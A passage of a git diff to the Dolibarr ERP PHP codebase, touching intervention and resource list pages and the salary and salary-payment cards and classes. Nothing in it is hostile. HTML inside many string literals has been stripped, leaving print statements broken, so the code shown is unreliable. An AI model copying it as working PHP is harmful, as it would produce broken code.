      '; // Ref customer - //$morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); - //$morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + //$morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $fichinter->ref_client, $fichinter, $user->rights->ficheinter->creer, 'string', '', 0, 1); + //$morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $fichinter->ref_client, $fichinter, $user->rights->ficheinter->creer, 'string', '', null, null, '', 1); + $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $fichinter->ref_client, $fichinter, 0, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $fichinter->ref_client, $fichinter, 0, 'string', '', null, null, '', 1); // Thirdparty - $morehtmlref .= $langs->trans('ThirdParty').' : '.$fichinter->thirdparty->getNomUrl(1); + $morehtmlref .= '
      '.$fichinter->thirdparty->getNomUrl(1, 'customer'); // Project if (isModEnabled('project')) { $langs->load("projects"); - $morehtmlref .= '
      '.$langs->trans('Project').' '; - if ($user->rights->commande->creer) { + $morehtmlref .= '
      '; + if ($usercancreate && 0) { + $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); if ($action != 'classify') { - //$morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; - $morehtmlref .= ' : '; - } - if ($action == 'classify') { - //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $fichinter->id, $fichinter->socid, $fichinter->fk_project, 'projectid', 0, 0, 1, 1); - $morehtmlref .= '
      '; - $morehtmlref .= ''; - $morehtmlref .= ''; - $morehtmlref .= $formproject->select_projects($fichinter->socid, $fichinter->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); - $morehtmlref .= ''; - $morehtmlref .= ''; - } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$fichinter->id, $fichinter->socid, $fichinter->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$fichinter->id, $fichinter->socid, $fichinter->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($fichinter->fk_project)) { $proj = new Project($db); $proj->fetch($fichinter->fk_project); - $morehtmlref .= ' : '.$proj->getNomUrl(1); + $morehtmlref .= $proj->getNomUrl(1); if ($proj->title) { - $morehtmlref .= ' - '.$proj->title; + $morehtmlref .= ' - '.dol_escape_htmltag($proj->title).''; } - } else { - $morehtmlref .= ''; } } } diff --git a/htdocs/resource/list.php b/htdocs/resource/list.php index 6b649b396db..dcee2d813f5 100644 --- a/htdocs/resource/list.php +++ b/htdocs/resource/list.php @@ -33,6 +33,7 @@ $langs->loadLangs(array("resource", "companies", "other")); // Get parameters $id = GETPOST('id', 'int'); $action = GETPOST('action', 'alpha'); +$massaction = GETPOST('massaction', 'alpha'); // The bulk action (combo box choice into lists) $lineid = GETPOST('lineid', 'int'); $element = GETPOST('element', 'alpha'); @@ -185,7 +186,7 @@ if ($action == 'delete_resource') { } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); print '
      '; @@ -229,6 +230,13 @@ print '
      '; print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; - print '
      '; + print '
      '; + } + if ($massactionbutton || $massaction) { + $selected = 0; } // Output Kanban print $object->getKanbanView(''); @@ -586,6 +606,18 @@ while ($i < $imaxinloop) { // Show here line of result $j = 0; print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''.$obj->nbapplications.''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; } - print ''; + print '
      '.$langs->trans("ResourceType").''; - $ret = $formresource->select_types_resource($object->fk_code_type_resource, 'fk_code_type_resource', '', 2); + $formresource->select_types_resource($object->fk_code_type_resource, 'fk_code_type_resource', '', 2); print '
      '."\n"; print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} if (!empty($arrayfields['t.ref']['checked'])) { print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print "\n"; print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +} if (!empty($arrayfields['t.ref']['checked'])) { print_liste_field_titre($arrayfields['t.ref']['label'], $_SERVER["PHP_SELF"], "t.ref", "", $param, "", $sortfield, $sortorder); } @@ -257,7 +271,10 @@ if (!empty($arrayfields['ty.label']['checked'])) { } // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; -print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +} print "\n"; @@ -265,6 +282,19 @@ if ($ret) { foreach ($object->lines as $resource) { print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } + if (!empty($arrayfields['t.ref']['checked'])) { print ''; + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } if (!$i) { $totalarray['nbfield']++; } diff --git a/htdocs/salaries/card.php b/htdocs/salaries/card.php index 5ba1b818137..2b118d50d58 100644 --- a/htdocs/salaries/card.php +++ b/htdocs/salaries/card.php @@ -5,6 +5,8 @@ * Copyright (C) 2015 Charlie BENKE * Copyright (C) 2018-2022 Frédéric France * Copyright (C) 2021 Gauthier VERDOL + * Copyright (C) 2023 Maxime Nicolas + * Copyright (C) 2023 Benjamin GREMBI * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -110,12 +112,13 @@ $permissiontoadd = $user->rights->salaries->write; // Used by the include of act $permissiontodelete = $user->rights->salaries->delete || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); -/** +/* * Actions */ $parameters = array(); -$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +// Note that $action and $object may be modified by some hooks +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); } @@ -123,14 +126,14 @@ if ($reshook < 0) { if (empty($reshook)) { $error = 0; - $backurlforlist = dol_buildpath('/salaries/list.php', 1); + $backurlforlist = DOL_URL_ROOT.'/salaries/list.php'; if (empty($backtopage) || ($cancel && empty($id))) { if (empty($backtopage) || ($cancel && strpos($backtopage, '__ID__'))) { if (empty($id) && (($action != 'add' && $action != 'create') || $cancel)) { $backtopage = $backurlforlist; } else { - $backtopage = dol_buildpath('/salaries/card.php', 1).'?id='.($id > 0 ? $id : '__ID__'); + $backtopage = DOL_URL_ROOT.'/salaries/card.php?id='.($id > 0 ? $id : '__ID__'); } } } @@ -147,6 +150,12 @@ if (empty($reshook)) { } $action = ''; } + // Actions to send emails + $triggersendname = 'COMPANY_SENTBYMAIL'; + $paramname = 'id'; + $mode = 'emailfromthirdparty'; + $trackid = 'thi'.$object->id; + include DOL_DOCUMENT_ROOT.'/core/actions_sendmails.inc.php'; } // Link to a project @@ -307,7 +316,7 @@ if ($action == 'add' && empty($cancel)) { $db->commit(); if (GETPOST('saveandnew', 'alpha')) { - setEventMessages($langs->trans("RecordSaved"), '', 'mesgs'); + setEventMessages($langs->trans("RecordSaved"), null, 'mesgs'); header("Location: card.php?action=create&fk_project=" . urlencode($projectid) . "&accountid=" . urlencode($accountid) . '&paymenttype=' . urlencode(GETPOST('paymenttype', 'az09')) . '&datepday=' . GETPOST("datepday", 'int') . '&datepmonth=' . GETPOST("datepmonth", 'int') . '&datepyear=' . GETPOST("datepyear", 'int')); exit; } else { @@ -380,6 +389,10 @@ if ($action == 'confirm_clone' && $confirm == 'yes' && ($user->rights->salaries- $object->paye = 0; $object->id = $object->ref = null; + if (GETPOST('amount', 'alphanohtml')) { + $object->amount = price2num(GETPOST('amount', 'alphanohtml'), 'MT', 2); + } + if (GETPOST('clone_label', 'alphanohtml')) { $object->label = GETPOST('clone_label', 'alphanohtml'); } else { @@ -444,9 +457,9 @@ $form = new Form($db); $formfile = new FormFile($db); if (isModEnabled('project')) $formproject = new FormProjets($db); -$title = $langs->trans('Salary')." - ".$langs->trans('Card'); +$title = $langs->trans('Salary')." - ".$object->ref; $help_url = ""; -llxHeader("", $title, $help_url); +llxHeader('', $title, $help_url); if ($id > 0) { @@ -458,7 +471,7 @@ if ($id > 0) { } // Create -if ($action == 'create') { +if ($action == 'create' && $permissiontoadd) { $year_current = dol_print_date(dol_now('gmt'), "%Y", 'gmt'); $pastmonth = strftime("%m", dol_now()) - 1; $pastmonthyear = $year_current; @@ -480,7 +493,7 @@ if ($action == 'create') { $datesp = dol_get_first_day($pastmonthyear, $pastmonth, false); $dateep = dol_get_last_day($pastmonthyear, $pastmonth, false); } - print ''; + print ''; print ''; print ''; if ($backtopage) { @@ -522,7 +535,7 @@ if ($action == 'create') { print ''."\n"; } - print dol_get_fiche_head('', ''); + print dol_get_fiche_head(''); print '
      '; + $searchpicto = $form->showFilterAndCheckAddButtons(0); + print $searchpicto; + print ''; print ''; @@ -242,13 +250,19 @@ if (!empty($arrayfields['ty.label']['checked'])) { // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; // Action column -print ''; -$searchpicto = $form->showFilterAndCheckAddButtons(0); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterAndCheckAddButtons(0); + print $searchpicto; + print '
      '; + print ''; + print img_edit(); + print ''; + print ' '; + print ''; + print img_delete('', 'class="marginleftonly"'); + print ''; + print ''; print $resource->getNomUrl(5); @@ -286,15 +316,18 @@ if ($ret) { $obj = (Object) $resource->array_options; include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - print ''; - print ''; - print img_edit(); - print ''; - print ' '; - print ''; - print img_delete('', 'class="marginleftonly"'); - print ''; - print ''; + print ''; + print img_edit(); + print ''; + print ' '; + print ''; + print img_delete('', 'class="marginleftonly"'); + print ''; + print '
      '; @@ -656,18 +669,26 @@ if ($action == 'create') { print ''; } - -/* ************************************************************************** */ -/* */ -/* View mode */ -/* */ -/* ************************************************************************** */ - -if ($id) { +// View mode +if ($id > 0) { $head = salaries_prepare_head($object); $formconfirm = ''; @@ -710,6 +725,7 @@ if ($id) { //$formquestion[] = array('type' => 'date', 'name' => 'clone_date_ech', 'label' => $langs->trans("Date"), 'value' => -1); $formquestion[] = array('type' => 'date', 'name' => 'clone_date_start', 'label' => $langs->trans("DateStart"), 'value' => -1); $formquestion[] = array('type' => 'date', 'name' => 'clone_date_end', 'label' => $langs->trans("DateEnd"), 'value' => -1); + $formquestion[] = array('type' => 'text', 'name' => 'amount', 'label' => $langs->trans("Amount"), 'value' => price($object->amount), 'morecss' => 'width100'); $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('ToClone'), $langs->trans('ConfirmCloneSalary', $object->ref), 'confirm_clone', $formquestion, 'yes', 1, 250); } @@ -794,34 +810,26 @@ if ($id) { $morehtmlref .= ''; } + $usercancreate = $permissiontoadd; + // Project if (isModEnabled('project')) { - $morehtmlref .= '
      '.$langs->trans('Project').' '; - if ($user->rights->salaries->write) { + $langs->load("projects"); + $morehtmlref .= '
      '; + if ($usercancreate) { + $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); if ($action != 'classify') { - $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' : '; - } - if ($action == 'classify') { - //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); - $morehtmlref .= ''; - $morehtmlref .= ''; - $morehtmlref .= ''; - $morehtmlref .= $formproject->select_projects(-1, $object->fk_project, 'projectid', 0, 0, 1, 0, 1, 0, 0, '', 1, 0, 'maxwidth500'); - $morehtmlref .= ''; - $morehtmlref .= ''; - } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); $proj->fetch($object->fk_project); - $morehtmlref .= ' : '.$proj->getNomUrl(1); + $morehtmlref .= $proj->getNomUrl(1); if ($proj->title) { - $morehtmlref .= ' - '.$proj->title; + $morehtmlref .= ' - '.dol_escape_htmltag($proj->title).''; } - } else { - $morehtmlref .= ''; } } } @@ -970,7 +978,7 @@ if ($id) { print ''; - print '\n"; + print '\n"; $labeltype = $langs->trans("PaymentType".$objp->type_code) != ("PaymentType".$objp->type_code) ? $langs->trans("PaymentType".$objp->type_code) : $objp->paiement_type; print "\n"; if (isModEnabled("banque")) { @@ -1004,8 +1012,8 @@ if ($id) { print ''; } - print '\n"; - print '\n"; + print '\n"; + print '\n"; $resteapayer = $object->amount - $totalpaid; $cssforamountpaymentcomplete = 'amountpaymentcomplete'; @@ -1042,6 +1050,17 @@ if ($id) { print '
      '."\n"; if ($action != 'edit') { + // Dynamic send mail button + $parameters = array(); + $reshook = $hookmanager->executeHooks('addMoreActionsButtons', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if (empty($reshook)) { + if (empty($user->socid)) { + $canSendMail = true; + + print dolGetButtonAction($langs->trans('SendMail'), '', 'default', $_SERVER['PHP_SELF'] . '?id=' . $object->id . '&action=presend&token='.newToken().'&mode=init#formmailbeforetitle', '', $canSendMail, $params); + } + } + // Reopen if ($object->paye && $user->rights->salaries->write) { print dolGetButtonAction('', $langs->trans('ReOpen'), 'default', $_SERVER["PHP_SELF"].'?action=reopen&token='.newToken().'&id='.$object->id, ''); @@ -1133,6 +1152,10 @@ if ($id) { $trackid = 'salary'.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/card_presend.tpl.php'; + + // Hook to add more things on page + $parameters = array(); + $reshook = $hookmanager->executeHooks('salaryCardTabAddMore', $parameters, $object, $action); // Note that $action and $object may have been modified by hook } // End of page diff --git a/htdocs/salaries/class/paymentsalary.class.php b/htdocs/salaries/class/paymentsalary.class.php index 1a716cba31d..4294dd47478 100644 --- a/htdocs/salaries/class/paymentsalary.class.php +++ b/htdocs/salaries/class/paymentsalary.class.php @@ -266,6 +266,7 @@ class PaymentSalary extends CommonObject $this->num_paiement = $obj->num_payment; $this->num_payment = $obj->num_payment; $this->note = $obj->note; + $this->note_private = $obj->note; $this->fk_bank = $obj->fk_bank; $this->fk_user_author = $obj->fk_user_author; $this->fk_user_modif = $obj->fk_user_modif; @@ -323,9 +324,9 @@ class PaymentSalary extends CommonObject $sql .= " fk_typepayment=".(isset($this->fk_typepayment) ? $this->fk_typepayment : "null").","; $sql .= " num_payment=".(isset($this->num_payment) ? "'".$this->db->escape($this->num_payment)."'" : "null").","; $sql .= " note=".(isset($this->note) ? "'".$this->db->escape($this->note)."'" : "null").","; - $sql .= " fk_bank=".(isset($this->fk_bank) ? $this->fk_bank : "null").","; - $sql .= " fk_user_author=".(isset($this->fk_user_author) ? $this->fk_user_author : "null").","; - $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? $this->fk_user_modif : "null").""; + $sql .= " fk_bank=".(isset($this->fk_bank) ? ((int) $this->fk_bank) : "null").","; + $sql .= " fk_user_author=".(isset($this->fk_user_author) ? ((int) $this->fk_user_author) : "null").","; + $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? ((int) $this->fk_user_modif) : "null"); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); @@ -602,12 +603,66 @@ class PaymentSalary extends CommonObject } } + /** + * Updates the payment date. + * Old name of function is update_date() + * + * @param int $date New date + * @return int <0 if KO, 0 if OK + */ + public function updatePaymentDate($date) + { + $error = 0; + + if (!empty($date)) { + $this->db->begin(); + + dol_syslog(get_class($this)."::updatePaymentDate with date = ".$date, LOG_DEBUG); + + $sql = "UPDATE ".MAIN_DB_PREFIX.$this->table_element; + $sql .= " SET datep = '".$this->db->idate($date)."'"; + $sql .= " WHERE rowid = ".((int) $this->id); + + $result = $this->db->query($sql); + if (!$result) { + $error++; + $this->error = 'Error -1 '.$this->db->error(); + } + + $type = $this->element; + + $sql = "UPDATE ".MAIN_DB_PREFIX.'bank'; + $sql .= " SET dateo = '".$this->db->idate($date)."', datev = '".$this->db->idate($date)."'"; + $sql .= " WHERE rowid IN (SELECT fk_bank FROM ".MAIN_DB_PREFIX."bank_url WHERE type = '".$this->db->escape($type)."' AND url_id = ".((int) $this->id).")"; + $sql .= " AND rappro = 0"; + + $result = $this->db->query($sql); + if (!$result) { + $error++; + $this->error = 'Error -1 '.$this->db->error(); + } + + if (!$error) { + } + + if (!$error) { + $this->datep = $date; + + $this->db->commit(); + return 0; + } else { + $this->db->rollback(); + return -2; + } + } + return -1; //no date given or already validated + } /** - * Retourne le libelle du statut d'une facture (brouillon, validee, abandonnee, payee) + * Return the label of the status * - * @param int $mode 0=libelle long, 1=libelle court, 2=Picto + Libelle court, 3=Picto, 4=Picto + Libelle long, 5=Libelle court + Picto - * @return string Libelle + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label of status */ public function getLibStatut($mode = 0) { @@ -616,11 +671,11 @@ class PaymentSalary extends CommonObject // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps /** - * Renvoi le libelle d'un statut donne + * Return the status * - * @param int $status Statut - * @param int $mode 0=libelle long, 1=libelle court, 2=Picto + Libelle court, 3=Picto, 4=Picto + Libelle long, 5=Libelle court + Picto - * @return string Libelle du statut + * @param int $status Id status + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label of status */ public function LibStatut($status, $mode = 0) { @@ -701,11 +756,50 @@ class PaymentSalary extends CommonObject $link = ''; $linkend = ''; - if ($withpicto) $result .= ($link.img_object($label, 'payment', 'class="classfortooltip"').$linkend.' '); - if ($withpicto && $withpicto != 2) $result .= ' '; + if ($withpicto) $result .= ($link.img_object($label, 'payment', 'class="classfortooltip pictofixedwidth"').$linkend); if ($withpicto != 2) $result .= $link.($maxlen ?dol_trunc($this->ref, $maxlen) : $this->ref).$linkend; } return $result; } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'fk_bank')) { + $return .= ' | '.$this->fk_bank.''; + } + if (property_exists($this, 'fk_user_author')) { + $return .= '
      '.$this->fk_user_author.''; + } + + if (property_exists($this, 'fk_typepayment')) { + $return .= '
      '.$langs->trans("PaymentMode").' : '.$this->fk_typepayment.''; + } + if (property_exists($this, 'amount')) { + $return .= '
      '.$langs->trans("Amount").' : '.price($this->amount).''; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/salaries/class/salary.class.php b/htdocs/salaries/class/salary.class.php index 8949313ecb0..4fbf69fd5ee 100644 --- a/htdocs/salaries/class/salary.class.php +++ b/htdocs/salaries/class/salary.class.php @@ -49,6 +49,19 @@ class Salary extends CommonObject public $tms; + // /** + // * @var array List of child tables. To test if we can delete object. + // */ + protected $childtables = array('payment_salary' => array('name'=>'SalaryPayment', 'fk_element'=>'fk_salary')); + + // /** + // * @var array List of child tables. To know object to delete on cascade. + // * If name matches '@ClassNAme:FilePathClass;ParentFkFieldName' it will + // * call method deleteByParentField(parentId, ParentFkFieldName) to fetch and delete child object + // */ + //protected $childtablesoncascade = array('mymodule_myobjectdet'); + + /** * @var int User ID */ @@ -79,6 +92,17 @@ class Salary extends CommonObject */ public $fk_bank; + /** + * @var int + * @see $accountid + */ + public $fk_account; + + /** + * @var int + */ + public $accountid; + /** * @var int ID */ @@ -250,7 +274,8 @@ class Salary extends CommonObject $this->fk_bank = $obj->fk_bank; $this->fk_user_author = $obj->fk_user_author; $this->fk_user_modif = $obj->fk_user_modif; - $this->fk_account = $this->accountid = $obj->fk_account; + $this->fk_account = $obj->fk_account; + $this->accountid = $obj->fk_account; // Retrieve all extrafield // fetch optionals attributes and labels @@ -270,44 +295,12 @@ class Salary extends CommonObject * Delete object in database * * @param User $user User that delete + * @param bool $notrigger false=launch triggers after, true=disable triggers * @return int <0 if KO, >0 if OK */ - public function delete($user) + public function delete($user, $notrigger = 0) { - global $conf, $langs; - - $error = 0; - - // Call trigger - $result = $this->call_trigger('SALARY_DELETE', $user); - if ($result < 0) return -1; - // End call triggers - - // Delete extrafields - /*if (!$error) - { - $sql = "DELETE FROM ".MAIN_DB_PREFIX."salary_extrafields"; - $sql .= " WHERE fk_object = ".((int) $this->id); - - $resql = $this->db->query($sql); - if (!$resql) - { - $this->errors[] = $this->db->lasterror(); - $error++; - } - }*/ - - $sql = "DELETE FROM ".MAIN_DB_PREFIX."salary"; - $sql .= " WHERE rowid=".((int) $this->id); - - dol_syslog(get_class($this)."::delete", LOG_DEBUG); - $resql = $this->db->query($sql); - if (!$resql) { - $this->error = "Error ".$this->db->lasterror(); - return -1; - } - - return 1; + return $this->deleteCommon($user, $notrigger); } @@ -479,6 +472,25 @@ class Salary extends CommonObject } } + /** + * getTooltipContentArray + * @param array $params params to construct tooltip data + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs, $user; + + $langs->loadLangs(['salaries']); + + $datas = []; + $option = $params['option'] ?? ''; + $datas['picto'] = ''.$langs->trans("Salary").''; + $datas['ref'] = '
      '.$langs->trans('Ref').': '.$this->ref; + + return $datas; + } /** * Send name clicable (with possibly the picto) @@ -499,18 +511,19 @@ class Salary extends CommonObject if (!empty($conf->dol_no_mouse_hover)) $notooltip = 1; // Force disable tooltips $result = ''; - - $label = ''.$langs->trans("Salary").''; - $label .= '
      '; - $label .= ''.$langs->trans('Ref').': '.$this->ref; - if ($this->label) { - $label .= '
      '.$langs->trans('Label').': '.$this->label; - } - if ($this->datesp && $this->dateep) { - $label .= '
      '.$langs->trans('Period').': '.dol_print_date($this->datesp, 'day').' - '.dol_print_date($this->dateep, 'day'); - } - if (isset($this->amount)) { - $label .= '
      '.$langs->trans('Amount').': '.price($this->amount); + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'option' => $option, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $url = DOL_URL_ROOT.'/salaries/card.php?id='.$this->id; @@ -518,8 +531,12 @@ class Salary extends CommonObject if ($option != 'nolink') { // Add param to save lastsearch_values or not $add_save_lastsearch_values = ($save_lastsearch_value == 1 ? 1 : 0); - if ($save_lastsearch_value == -1 && preg_match('/list\.php/', $_SERVER["PHP_SELF"])) $add_save_lastsearch_values = 1; - if ($add_save_lastsearch_values) $url .= '&save_lastsearch_values=1'; + if ($save_lastsearch_value == -1 && preg_match('/list\.php/', $_SERVER["PHP_SELF"])) { + $add_save_lastsearch_values = 1; + } + if ($add_save_lastsearch_values) { + $url .= '&save_lastsearch_values=1'; + } } $linkclose = ''; @@ -528,24 +545,23 @@ class Salary extends CommonObject $label = $langs->trans("ShowMyObject"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; - - /* - $hookmanager->initHooks(array('myobjectdao')); - $parameters=array('id'=>$this->id); - $reshook=$hookmanager->executeHooks('getnomurltooltip',$parameters,$this,$action); // Note that $action and $object may have been modified by some hooks - if ($reshook > 0) $linkclose = $hookmanager->resPrint; - */ - } else $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.($morecss ? ' '.$morecss : '').'"'; + } else { + $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); + } $linkstart = ''; $linkend = ''; $result .= $linkstart; - if ($withpicto) $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); - if ($withpicto != 2) $result .= $this->ref; + if ($withpicto) { + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright pictofixedwidth"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.' pictofixedwidth"'), 0, 0, $notooltip ? 0 : 1); + } + if ($withpicto != 2) { + $result .= $this->ref; + } $result .= $linkend; //if ($withpicto != 2) $result.=(($addlabel && $this->label) ? $sep . dol_trunc($this->label, ($addlabel > 1 ? $addlabel : 0)) : ''); @@ -569,8 +585,8 @@ class Salary extends CommonObject $table = 'payment_salary'; $field = 'fk_salary'; - $sql = 'SELECT sum(amount) as amount'; - $sql .= ' FROM '.MAIN_DB_PREFIX.$table; + $sql = "SELECT sum(amount) as amount"; + $sql .= " FROM ".MAIN_DB_PREFIX.$table; $sql .= " WHERE ".$field." = ".((int) $this->id); dol_syslog(get_class($this)."::getSommePaiement", LOG_DEBUG); @@ -707,4 +723,49 @@ class Salary extends CommonObject return dolGetStatus($this->labelStatus[$status], $this->labelStatusShort[$status], '', $statusType, $mode); } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (!empty($arraydata['user']) && is_object($arraydata['user'])) { + $return .= '
      '.$arraydata['user']->getNomUrl(1, '', 0, 0, 16, 0, '', 'maxwidth100').''; + } + if (property_exists($this, 'amount')) { + $return .= '
      '.price($this->amount).''; + if (property_exists($this, 'type_payment') && !empty($this->type_payment)) { + $return .= ' '; + if ($langs->trans("PaymentTypeShort".$this->type_payment) != "PaymentTypeShort".$this->type_payment) { + $return .= $langs->trans("PaymentTypeShort".$this->type_payment); + } elseif ($langs->trans("PaymentType".$this->type_payment) != "PaymentType".$this->type_payment) { + $return .= $langs->trans("PaymentType".$this->type_payment); + } + $return .= ''; + } + } + if (method_exists($this, 'LibStatut')) { + $return .= '
      '.$this->getLibStatut(3, $this->alreadypaid).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
